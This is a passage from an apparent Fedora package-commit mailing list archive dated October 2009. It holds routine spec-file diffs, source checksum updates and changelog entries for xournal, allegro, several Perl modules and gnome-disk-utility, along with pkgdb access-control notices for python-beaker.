@@ -85,7 +85,7 @@ update-desktop-database %{_datadir}/appl
 %{__rm} -rf $RPM_BUILD_ROOT
 
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %{_bindir}/xournal
 %{_datadir}/icons/hicolor/*x*/apps/%{name}.png
@@ -101,6 +101,17 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Mon Oct 05 2009 Rick L Vinyard Jr <rvinyard at cs.nmsu.edu> 0.4.5-1
+- New upstream release
+- Removed xournal.xml, xournal.desktop and x-xoj.desktop sources as they are now in upstream source
+- Updated gtk2 devel requirements to 2.10
+- Added poppler-glib-devel to BR
+- Added gettext BR
+- Updated summary
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.2.1-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.2.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


--- x-xoj.desktop DELETED ---


--- xournal.desktop DELETED ---


--- xournal.xml DELETED ---



From rvinyard at fedoraproject.org  Mon Oct  5 16:31:49 2009
From: rvinyard at fedoraproject.org (Rick L. Vinyard, Jr.)
Date: Mon,  5 Oct 2009 16:31:49 +0000 (UTC)
Subject: rpms/xournal/F-10 .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 xournal-configure.in-freetype.patch, 1.1, 1.2 xournal.spec,
	1.8, 1.9 x-xoj.desktop, 1.2, NONE xournal.desktop, 1.2,
	NONE xournal.xml, 1.1, NONE
Message-ID: <20091005163149.7A7E311C00DB@cvs1.fedora.phx.redhat.com>

Author: rvinyard

Update of /cvs/pkgs/rpms/xournal/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21386

Modified Files:
	.cvsignore sources xournal-configure.in-freetype.patch 
	xournal.spec 
Removed Files:
	x-xoj.desktop xournal.desktop xournal.xml 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Apr 2008 13:53:38 -0000	1.4
+++ .cvsignore	5 Oct 2009 16:31:48 -0000	1.5
@@ -1 +1 @@
-xournal-0.4.2.1.tar.gz
+xournal-0.4.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Apr 2008 13:53:38 -0000	1.4
+++ sources	5 Oct 2009 16:31:48 -0000	1.5
@@ -1 +1 @@
-b56b1403b68b60a5a27b028d91a38e88  xournal-0.4.2.1.tar.gz
+795e4396ded2b67766eb2926be1fb4a9  xournal-0.4.5.tar.gz

xournal-configure.in-freetype.patch:
 configure.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: xournal-configure.in-freetype.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-10/xournal-configure.in-freetype.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xournal-configure.in-freetype.patch	22 Sep 2007 01:20:15 -0000	1.1
+++ xournal-configure.in-freetype.patch	5 Oct 2009 16:31:49 -0000	1.2
@@ -1,15 +1,15 @@
---- configure.in.orig	2007-09-21 19:12:00.000000000 -0600
-+++ configure.in	2007-09-21 19:12:52.000000000 -0600
-@@ -8,11 +8,11 @@
- AC_ISC_POSIX
+--- configure.in.orig	2009-10-05 09:32:56.000000000 -0600
++++ configure.in	2009-10-05 09:34:42.000000000 -0600
+@@ -9,11 +9,11 @@
  AC_PROG_CC
  AM_PROG_CC_STDC
+ AC_PROG_RANLIB
  AC_HEADER_STDC
  
--pkg_modules="gtk+-2.0 >= 2.4.0 libgnomecanvas-2.0 >= 2.4.0 libgnomeprintui-2.2 >= 2.0.0"
-+pkg_modules="gtk+-2.0 >= 2.4.0 libgnomecanvas-2.0 >= 2.4.0 libgnomeprintui-2.2 >= 2.0.0 freetype2"
+-pkg_modules="gtk+-2.0 >= 2.10.0 libgnomecanvas-2.0 >= 2.4.0 poppler-glib >= 0.5.4"
++pkg_modules="gtk+-2.0 >= 2.10.0 libgnomecanvas-2.0 >= 2.4.0 poppler-glib >= 0.5.4 freetype2"
  PKG_CHECK_MODULES(PACKAGE, [$pkg_modules])
  AC_SUBST(PACKAGE_CFLAGS)
  AC_SUBST(PACKAGE_LIBS)
  
- AC_OUTPUT([
+ GETTEXT_PACKAGE=xournal


Index: xournal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-10/xournal.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- xournal.spec	29 Oct 2008 13:30:01 -0000	1.8
+++ xournal.spec	5 Oct 2009 16:31:49 -0000	1.9
@@ -1,24 +1,23 @@
 Name:		xournal
-Version:	0.4.2.1
-Release:	2%{?dist}
-Summary:	Xournal notetaking, sketching and PDF annotation
+Version:	0.4.5
+Release:	1%{?dist}
+Summary:	Notetaking, sketching, PDF annotation and general journal
 
 Group:		Applications/Editors
 License:	GPLv2
 URL:		http://xournal.sourceforge.net/
 Source0:	http://downloads.sourceforge.net/xournal/%{name}-%{version}.tar.gz
-Source1:	xournal.desktop
-Source2:	xournal.xml
-Source3:	x-xoj.desktop
 Patch0:		xournal-configure.in-freetype.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	gtk2-devel >= 2.4.0 
+BuildRequires:	gtk2-devel >= 2.10.0 
 BuildRequires:	libgnomecanvas-devel >= 2.4.0 
 BuildRequires:	libgnomeprintui22-devel >= 2.0.0 
+BuildRequires:	poppler-glib-devel >= 0.5.4
 BuildRequires:	freetype-devel >= 2.0.0
 BuildRequires:	desktop-file-utils
 BuildRequires:	ImageMagick
+BuildRequires:	gettext
 
 Requires:	poppler-utils
 Requires:	ghostscript
@@ -60,14 +59,15 @@ done
 %{__install} -p -m 0644 -D pixmaps/xournal.png ${RPM_BUILD_ROOT}%{_datadir}/pixmaps/xournal.png
 desktop-file-install --vendor fedora \
 	--dir ${RPM_BUILD_ROOT}%{_datadir}/applications \
-	%{SOURCE1}
+	xournal.desktop
 
 # GNOME (shared-mime-info) MIME type registration
-%{__install} -p -m 0644 -D %{SOURCE2} ${RPM_BUILD_ROOT}%{_datadir}/mime/packages/xournal.xml
+%{__install} -p -m 0644 -D xournal.xml ${RPM_BUILD_ROOT}%{_datadir}/mime/packages/xournal.xml
 
 # KDE (legacy) MIME type registration
-%{__install} -p -m 0644 -D %{SOURCE3} ${RPM_BUILD_ROOT}%{_datadir}/mimelnk/application/x-xoj.desktop
+%{__install} -p -m 0644 -D x-xoj.desktop ${RPM_BUILD_ROOT}%{_datadir}/mimelnk/application/x-xoj.desktop
 
+%find_lang %{name}
 
 %post
 touch --no-create %{_datadir}/icons/hicolor || :
@@ -85,7 +85,7 @@ update-desktop-database %{_datadir}/appl
 %{__rm} -rf $RPM_BUILD_ROOT
 
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %{_bindir}/xournal
 %{_datadir}/icons/hicolor/*x*/apps/%{name}.png
@@ -101,6 +101,20 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Mon Oct 05 2009 Rick L Vinyard Jr <rvinyard at cs.nmsu.edu> 0.4.5-1
+- New upstream release
+- Removed xournal.xml, xournal.desktop and x-xoj.desktop sources as they are now in upstream source
+- Updated gtk2 devel requirements to 2.10
+- Added poppler-glib-devel to BR
+- Added gettext BR
+- Updated summary
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.2.1-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.2.1-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Sun Sep 21 2008 Ville Skytt? <ville.skytta at iki.fi> - 0.4.2.1-2
 - Fix Patch0:/%%patch mismatch (#463069)
 


--- x-xoj.desktop DELETED ---


--- xournal.desktop DELETED ---


--- xournal.xml DELETED ---



From kasal at fedoraproject.org  Mon Oct  5 16:34:10 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 16:34:10 +0000 (UTC)
Subject: rpms/perl-Devel-Cycle/devel .cvsignore, 1.7,
	1.8 perl-Devel-Cycle.spec, 1.16, 1.17 sources, 1.7, 1.8
Message-ID: <20091005163410.B71AF11C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Devel-Cycle/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22950

Modified Files:
	.cvsignore perl-Devel-Cycle.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Cycle/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	15 Jul 2008 20:38:45 -0000	1.7
+++ .cvsignore	5 Oct 2009 16:34:10 -0000	1.8
@@ -1 +1 @@
-Devel-Cycle-1.10.tar.gz
+Devel-Cycle-1.11.tar.gz


Index: perl-Devel-Cycle.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Cycle/devel/perl-Devel-Cycle.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- perl-Devel-Cycle.spec	26 Jul 2009 05:41:09 -0000	1.16
+++ perl-Devel-Cycle.spec	5 Oct 2009 16:34:10 -0000	1.17
@@ -1,6 +1,6 @@
 Name:           perl-Devel-Cycle
-Version:        1.10
-Release:        3%{?dist}
+Version:        1.11
+Release:        1%{?dist}
 Summary:        Find memory cycles in objects
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -49,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 1.11-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.10-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Cycle/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	15 Jul 2008 20:38:45 -0000	1.7
+++ sources	5 Oct 2009 16:34:10 -0000	1.8
@@ -1 +1 @@
-5d6999f6303b2d5ed959e6d48efc5c8c  Devel-Cycle-1.10.tar.gz
+67c42d79bcb7beb337023e3e00b0ebcb  Devel-Cycle-1.11.tar.gz



From jnovy at fedoraproject.org  Mon Oct  5 16:35:22 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Mon,  5 Oct 2009 16:35:22 +0000 (UTC)
Subject: rpms/allegro/devel allegro.spec, 1.56,
	1.57 allegro-4.2.2-gcc43-asm.patch, 1.1,
	NONE allegro-4.2.2-gcc43.patch, 1.1,
	NONE allegro-4.2.2-pulseaudio.patch, 1.1, NONE
Message-ID: <20091005163522.110B211C00DB@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/allegro/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23651

Modified Files:
	allegro.spec 
Removed Files:
	allegro-4.2.2-gcc43-asm.patch allegro-4.2.2-gcc43.patch 
	allegro-4.2.2-pulseaudio.patch 
Log Message:
* Mon Oct  5 2009 Jindrich Novy <jnovy at redhat.com> 4.2.3-1
- update to 4.2.3



Index: allegro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/allegro/devel/allegro.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- allegro.spec	10 Sep 2009 20:45:59 -0000	1.56
+++ allegro.spec	5 Oct 2009 16:35:21 -0000	1.57
@@ -1,6 +1,6 @@
 Name:           allegro
-Version:        4.2.2
-Release:        14%{?dist}
+Version:        4.2.3
+Release:        1%{?dist}
 
 Summary:        A game programming library
 Summary(es):    Una libreria de programacion de juegos
@@ -164,9 +164,6 @@ sound through JACK (Jack Audio Connectio
 %patch4 -p1 -z .multilib
 %patch5 -p1 -z .noexecmod
 %patch6 -p1 -z .multilib2
-%patch7 -p1 -z .pulse
-%patch8 -p1 -z .gcc43
-%patch9 -p1 -z .gcc43-asm
 %patch10 -p1 -z .fs-viewport
 iconv -f iso-8859-1 -t utf-8 docs/src/allegro._tx > docs/src/allegro._tx.tmp
 mv docs/src/allegro._tx.tmp docs/src/allegro._tx
@@ -296,6 +293,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Jindrich Novy <jnovy at redhat.com> 4.2.3-1
+- update to 4.2.3
+
 * Thu Sep 10 2009 Hans de Goede <hdegoede at redhat.com> 4.2.2-14
 - Fix (workaround) viewport issues in fullscreen mode (#522116)
 


--- allegro-4.2.2-gcc43-asm.patch DELETED ---


--- allegro-4.2.2-gcc43.patch DELETED ---


--- allegro-4.2.2-pulseaudio.patch DELETED ---



From pkgdb at fedoraproject.org  Mon Oct  5 16:36:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:36:19 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163620.5042D10F894@bastion2.fedora.phx.redhat.com>

kylev has set the watchbugzilla acl on python-beaker (Fedora devel) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 16:36:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:36:20 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163620.EF4F910F8A2@bastion2.fedora.phx.redhat.com>

kylev has set the watchcommits acl on python-beaker (Fedora devel) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 16:36:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:36:24 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163625.0A4AE10F8AB@bastion2.fedora.phx.redhat.com>

kylev has set the commit acl on python-beaker (Fedora devel) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 16:36:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:36:27 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163627.D999710F8B0@bastion2.fedora.phx.redhat.com>

kylev has set the approveacls acl on python-beaker (Fedora devel) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From jnovy at fedoraproject.org  Mon Oct  5 16:36:46 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Mon,  5 Oct 2009 16:36:46 +0000 (UTC)
Subject: rpms/allegro/devel .cvsignore,1.6,1.7 sources,1.6,1.7
Message-ID: <20091005163646.1C8D211C00DB@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/allegro/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24331

Modified Files:
	.cvsignore sources 
Log Message:
- upload new tarball



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/allegro/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	22 Aug 2007 08:08:31 -0000	1.6
+++ .cvsignore	5 Oct 2009 16:36:45 -0000	1.7
@@ -1 +1 @@
-allegro-4.2.2.tar.gz
+allegro-4.2.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/allegro/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	22 Aug 2007 08:08:31 -0000	1.6
+++ sources	5 Oct 2009 16:36:45 -0000	1.7
@@ -1 +1 @@
-87ffb1def034e0ec29a9ad4a595cda7e  allegro-4.2.2.tar.gz
+36d3e75052da03645039f7da407efca4  allegro-4.2.3.tar.gz



From pkgdb at fedoraproject.org  Mon Oct  5 16:36:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:36:46 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163648.4295310F8A1@bastion2.fedora.phx.redhat.com>

kylev has set the watchbugzilla acl on python-beaker (Fedora 11) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 16:36:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:36:48 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163649.0423410F8A2@bastion2.fedora.phx.redhat.com>

kylev has set the watchcommits acl on python-beaker (Fedora 11) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 16:36:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:36:51 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163651.861E110F8B3@bastion2.fedora.phx.redhat.com>

kylev has set the commit acl on python-beaker (Fedora 11) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 16:36:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:36:54 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163654.CC12410F892@bastion2.fedora.phx.redhat.com>

kylev has set the approveacls acl on python-beaker (Fedora 11) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 16:36:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:36:58 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163658.89D1A10F89C@bastion2.fedora.phx.redhat.com>

kylev has set the watchbugzilla acl on python-beaker (Fedora 11) to Obsolete for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 16:37:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:37:01 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163701.7E1AC10F8B7@bastion2.fedora.phx.redhat.com>

kylev has set the watchcommits acl on python-beaker (Fedora 12) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 16:37:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:37:03 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163703.C036210F8BC@bastion2.fedora.phx.redhat.com>

kylev has set the commit acl on python-beaker (Fedora 12) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 16:37:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:37:06 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005163706.4890F10F8C1@bastion2.fedora.phx.redhat.com>

kylev has set the approveacls acl on python-beaker (Fedora 12) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From jnovy at fedoraproject.org  Mon Oct  5 16:42:26 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Mon,  5 Oct 2009 16:42:26 +0000 (UTC)
Subject: rpms/allegro/devel allegro.spec,1.57,1.58
Message-ID: <20091005164226.19A2A11C00DB@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/allegro/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28070

Modified Files:
	allegro.spec 
Log Message:
- remove references to unused patches



Index: allegro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/allegro/devel/allegro.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- allegro.spec	5 Oct 2009 16:35:21 -0000	1.57
+++ allegro.spec	5 Oct 2009 16:42:25 -0000	1.58
@@ -18,10 +18,7 @@ Patch3:         allegro-4.2.0-noexecstac
 Patch4:         allegro-4.2.0-multilib.patch
 Patch5:         allegro-4.2.1-noexecmod.patch
 Patch6:         allegro-4.0.3-libdir.patch
-Patch7:         allegro-4.2.2-pulseaudio.patch
-Patch8:         allegro-4.2.2-gcc43.patch
-Patch9:         allegro-4.2.2-gcc43-asm.patch
-Patch10:        allegro-4.2.2-fullscreen-viewport.patch
+Patch7:         allegro-4.2.2-fullscreen-viewport.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  esound-devel, texinfo, perl, arts-devel, glib2-devel
 BuildRequires:  xorg-x11-proto-devel, libX11-devel, libXext-devel, libXt-devel
@@ -164,7 +161,7 @@ sound through JACK (Jack Audio Connectio
 %patch4 -p1 -z .multilib
 %patch5 -p1 -z .noexecmod
 %patch6 -p1 -z .multilib2
-%patch10 -p1 -z .fs-viewport
+%patch7 -p1 -z .fs-viewport
 iconv -f iso-8859-1 -t utf-8 docs/src/allegro._tx > docs/src/allegro._tx.tmp
 mv docs/src/allegro._tx.tmp docs/src/allegro._tx
 



From kasal at fedoraproject.org  Mon Oct  5 16:46:20 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 16:46:20 +0000 (UTC)
Subject: rpms/perl-Devel-Symdump/devel .cvsignore, 1.8,
	1.9 perl-Devel-Symdump.spec, 1.23, 1.24 sources, 1.8, 1.9
Message-ID: <20091005164620.9868111C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Devel-Symdump/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30301

Modified Files:
	.cvsignore perl-Devel-Symdump.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Symdump/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	4 Feb 2007 17:47:51 -0000	1.8
+++ .cvsignore	5 Oct 2009 16:46:20 -0000	1.9
@@ -1 +1 @@
-Devel-Symdump-2.07.tar.gz
+Devel-Symdump-2.08.tar.gz


Index: perl-Devel-Symdump.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Symdump/devel/perl-Devel-Symdump.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- perl-Devel-Symdump.spec	26 Jul 2009 05:44:07 -0000	1.23
+++ perl-Devel-Symdump.spec	5 Oct 2009 16:46:20 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           perl-Devel-Symdump
-Version:        2.07
-Release:        7%{?dist}
+Version:        2.08
+Release:        1%{?dist}
 Epoch:          1
 Summary:        A Perl module for inspecting Perl's symbol table
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Symdump/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	4 Feb 2007 17:47:51 -0000	1.8
+++ sources	5 Oct 2009 16:46:20 -0000	1.9
@@ -1 +1 @@
-4c7dfb240687cf0105ca7e81d07781bf  Devel-Symdump-2.07.tar.gz
+68e3a2f2f989bff295ee63aed5a2a1e5  Devel-Symdump-2.08.tar.gz



From kasal at fedoraproject.org  Mon Oct  5 16:50:05 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 16:50:05 +0000 (UTC)
Subject: rpms/perl-Digest-SHA1/devel .cvsignore, 1.5,
	1.6 perl-Digest-SHA1.spec, 1.22, 1.23 sources, 1.5, 1.6
Message-ID: <20091005165005.1C0D611C02A0@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Digest-SHA1/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32094

Modified Files:
	.cvsignore perl-Digest-SHA1.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Digest-SHA1/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	3 Feb 2006 19:11:24 -0000	1.5
+++ .cvsignore	5 Oct 2009 16:50:04 -0000	1.6
@@ -1,2 +1 @@
-Digest-SHA1-2.10.tar.gz
-Digest-SHA1-2.11.tar.gz
+Digest-SHA1-2.12.tar.gz


Index: perl-Digest-SHA1.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Digest-SHA1/devel/perl-Digest-SHA1.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- perl-Digest-SHA1.spec	26 Jul 2009 05:46:15 -0000	1.22
+++ perl-Digest-SHA1.spec	5 Oct 2009 16:50:04 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           perl-Digest-SHA1
-Version:        2.11
-Release:        9%{?dist}
+Version:        2.12
+Release:        1%{?dist}
 Summary:        Digest-SHA1 Perl module
 
 Group:          Development/Libraries
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.12-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.11-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Digest-SHA1/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	3 Feb 2006 19:11:24 -0000	1.5
+++ sources	5 Oct 2009 16:50:04 -0000	1.6
@@ -1 +1 @@
-2449bfe21d6589c96eebf94dae24df6b  Digest-SHA1-2.11.tar.gz
+eeb0292868801a202bd7ead87b291374  Digest-SHA1-2.12.tar.gz



From kasal at fedoraproject.org  Mon Oct  5 16:51:36 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 16:51:36 +0000 (UTC)
Subject: rpms/perl-Devel-Symdump/devel perl-Devel-Symdump.spec,1.24,1.25
Message-ID: <20091005165136.B0CE211C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Devel-Symdump/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv449

Modified Files:
	perl-Devel-Symdump.spec 
Log Message:
add chlog entry


Index: perl-Devel-Symdump.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Symdump/devel/perl-Devel-Symdump.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- perl-Devel-Symdump.spec	5 Oct 2009 16:46:20 -0000	1.24
+++ perl-Devel-Symdump.spec	5 Oct 2009 16:51:36 -0000	1.25
@@ -48,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 1:2.08-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:2.07-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mclasen at fedoraproject.org  Mon Oct  5 16:54:28 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon,  5 Oct 2009 16:54:28 +0000 (UTC)
Subject: rpms/gnome-disk-utility/F-12
	0001-Use-stock-delete-and-apply-buttons.patch, NONE,
	1.1 0002-Fix-library-translations.patch, NONE,
	1.1 0003-Use-translated-string-for-button-label.patch, NONE,
	1.1 0004-Translate-file-system-types.patch, NONE,
	1.1 gnome-disk-utility.spec, 1.21, 1.22
Message-ID: <20091005165428.90D6D11C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-disk-utility/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1842

Modified Files:
	gnome-disk-utility.spec 
Added Files:
	0001-Use-stock-delete-and-apply-buttons.patch 
	0002-Fix-library-translations.patch 
	0003-Use-translated-string-for-button-label.patch 
	0004-Translate-file-system-types.patch 
Log Message:
Translation fixes


0001-Use-stock-delete-and-apply-buttons.patch:
 gdu-section-partition.c |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE 0001-Use-stock-delete-and-apply-buttons.patch ---
>From 2c44475a43f044ce5efc5d7763420ae918de43f1 Mon Sep 17 00:00:00 2001
From: Matthias Clasen <mclasen at redhat.com>
Date: Mon, 5 Oct 2009 11:46:41 -0400
Subject: [PATCH 1/4] Use stock delete and apply buttons

...and you get translations for free. Bug 597405.
---
 src/palimpsest/gdu-section-partition.c |    6 +++---
